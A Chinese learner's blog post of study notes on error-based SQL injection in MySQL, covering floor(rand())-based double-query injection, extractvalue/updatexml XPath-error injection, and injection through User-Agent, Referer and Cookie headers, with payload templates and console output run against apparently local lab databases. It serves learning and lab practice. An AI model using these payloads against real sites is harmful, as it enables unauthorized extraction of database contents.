美文网首页
20200227 SQL注入及杂事

20200227 SQL注入及杂事

作者: 睡觉了晚安 | 来源:发表于2020-02-27 20:52 被阅读0次

报错型注入

昨天学了基于时间型基于布尔型的盲注,今天整个报错型的注入

基本分为:

  1. 双查询注入

  2. 基于extractvalue/updatexml 的报错注入

双查询注入

核心函数:
floor(rand(14)*2)

分析rand()与floor()在双查询中的作用

数据库:
 +--------------------+
 | Database           |
 +--------------------+
 | information_schema |
 | challenges         |
 | dvwa               |
 | mysql              |
 | performance_schema |
 | security           |
 | test               |
 +--------------------+
 ​
 mysql> select floor(rand(14)*2) from information_schema.schemata;
 +-------------------+
 | floor(rand(14)*2) |
 +-------------------+
 |                 1 |
 |                 0 |
 |                 1 |
 |                 0 |
 |                 0 |
 |                 0 |
 |                 1 |
 +-------------------+

1.floor(rand(14)*2)) ×2可以使范围落在[0,1]内,rand(14)的前4位是1010更快报错
2.rand()函数执行的次数取决于数据库的多少,即from后面的目标

基本的句式: 这里报出的是当前数据库

 mysql> select(concat((select database()),floor(rand(14)*2)))c,count(*) from information_schema.tables group by c;
 ERROR 1062 (23000): Duplicate entry 'security0' for key 'group_key'

关于floor(rand()*2)的深究

基本原理是是在计数时count(*),临时生成了一张key-tally表,key记录每一行数据的所属,就如同下边的每一行数据中的表tables所属的库名,key不可重复,tally为计的数。

mysql> select table_schema, count(*) from information_schema.tables group by table_schema;
 +--------------------+----------+
 | table_schema       | count(*) |
 +--------------------+----------+
 | challenges         |        1 |
 | dvwa               |        2 |
 | information_schema |       40 |
 | mysql              |       24 |
 | performance_schema |       17 |
 | security           |        4 |
 | test               |        1 |
 +--------------------+----------+

但对于rand(),MySQL在处理它时会进行两次计算,第一次是在检测时,第二次是在写入时,如果两次值不同且第二次的值在key-tally表中存在,就会报错,故它的报错原理是写入了重复的键key,比如floor(rand(14)*2)生成的随机数为1010001,检测为1可以写入,但是写入时再次计算变成了0,0就被写入为key,第二次检测为1可以写入,但写入时又进行了计算变为0,若再次写入0就会重复添加了key,造成报错。

mysql> select floor(rand(14)*2) from information_schema.schemata;
 +-------------------+
 | floor(rand(14)*2) |
 +-------------------+
 |                 1 |
 |                 0 |
 |                 1 |
 |                 0 |
 |                 0 |
 |                 0 |
 |                 1 |
 +-------------------+

问题来了:

当我进行测试floor(rand(92)*2)时,按照上述原理应该会报错的,但是计算了800+次还是没有报错,我就很纳闷……希望以后的我会来看时能解决

下面是前8次计算值,最后很奇怪为什么会有下面的结果,我分析的话0应该有3个,1应该有4个

 +-------------------+
 | floor(rand(92)*2) |
 +-------------------+
 |                 0 |
 |                 1 |
 |                 1 |
 |                 1 |
 |                 0 |
 |                 0 |
 |                 0 |
 |               1 |
 +-------------------+
 mysql> select floor(rand(92)*2)c, count(*)from information_schema.schemata group by c;
 +---+----------+
 | c | count(*) |
 +---+----------+
 | 0 |        2 |
 | 1 |        5 |
 +---+----------+

基于extractvalue/updatexml的报错注入

基本原理: extractvalue/updatexml函数内有个路径参数,当这个路径参数格式写错时,会产生报错并返回该错误路径,故可以在错误的路径中添加查询语句。

基本格式:
 mysql> select extractvalue(rand(),concat(1,database()));
 ERROR 1105 (HY000): XPATH syntax error: 'security'
 ​
 mysql> select updatexml(rand(),concat(1,database()),1);
 ERROR 1105 (HY000): XPATH syntax error: 'security'</pre>

http header注入

postget都无效时,可以尝试http header注入

不同类型:

  1. User-Agent

  2. Referer

  3. Cookie

User-Agent 型

原理:修改User-Agent的值,进行SQL注入,与getpost的原理一样

  1. 抓包,拿到头部数据

  2. User-Agent进行修改

  3. 发送改后的包

工具

  • burpsuite

  • 火狐插件 HackBar

  • 火狐插件 HTTP Header Live

  • 火狐插件 Modify Headers

用后面两个插件就可以了

Referer 型

  1. 抓包,拿到头部数据

  2. User-Agent进行修改

  3. 发送改后的包

  • 火狐插件 HackBar

  • 火狐插件 HTTP Header Live

  • 火狐插件 Modify Headers

Cookie 型

原理:对Cookievalue进行SQL注入,原理类似

  • 火狐插件 HackBar

  • 火狐插件 HTTP Header Live

  • 火狐插件 Cookie Editor

    image

杂事

下午刷了一些盲注的题,尝试使用手工测试,测试了大半天才搞完一题,明天学学sqlmap

相关文章

  • 20200227 SQL注入及杂事

    报错型注入 昨天学了基于时间型和基于布尔型的盲注,今天整个报错型的注入 基本分为: 双查询注入 基于extract...

  • 20200228 SQL注入及杂事

    二次注入 类似于存储型的XSS,通过已存在数据库的数据进行注入 比如,有个用户admin,然后注册了新的用户,命名...

  • 小迪16期-20170408

    安全狗防护注入及绕过思路Sqlmap tamper插件分析. sql注入绕过思路一:提交方式更改注入sql注入绕过...

  • 09-ADO.NET进阶

    一、sql注入风险及解决方案 SQL注入是指在事先定义好的SQL语句中注入额外的SQL语句,从此来欺骗数据库服务器...

  • web常见漏洞的成因和修复

    1.SQL注入 漏洞描述:SQL 注入攻击( SQL Injection ),简称注入攻击、SQL 注入,主要用于...

  • 笔记:web漏洞

    SQL注入 SQL注入攻击(SQL Injection),简称注入攻击、SQL注入,被广泛用于非法获取网站控制权,...

  • 谈谈sql注入之原理和防护(-)

    谈谈sql注入(二)谈谈sql注入(三)谈谈sql注入(四)所谓SQL注入,就是通过把SQL命令插入到Web表单提...

  • 小迪16期-20170226

    第二天:Sql注入集锦篇 1.Sql注入之access注入 2.Sql注入之mysql注入 3.Sql注入之mss...

  • 第四章 SQL 注入

    要点 SQL注入 SQL注入防护 一、SQL注入 SQL注入:黑客会通过构造一些恶意的输入参数,在应用拼接 SQL...

  • PHP代码安全之SQL注入

    PHP代码安全之SQL注入 1、什么是SQL注入? SQL攻击(英语:SQL injection),简称注入攻击,...

网友评论

      本文标题:20200227 SQL注入及杂事

      本文链接:https://www.haomeiwen.com/subject/lkhfhhtx.html